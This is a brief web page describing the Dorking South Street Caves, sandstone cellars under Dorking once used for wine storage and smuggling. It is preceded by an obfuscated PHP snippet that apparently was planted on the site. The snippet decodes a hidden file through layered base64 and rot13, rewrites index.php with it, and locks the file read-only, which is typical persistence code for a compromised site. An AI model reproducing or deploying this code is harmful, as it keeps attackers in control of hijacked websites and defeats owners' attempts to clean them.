$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } Dorking South Street Tunnels

Dorking South Street Caves - Surrey - September 2015

This network of man made caves is carved out of the soft sandstone under Dorking.
The exact age of the caves are not know, but the earliest date written into the walls is 1672.

They were mostly used for cellars for Wine storage as well as hiding smugglers contraband.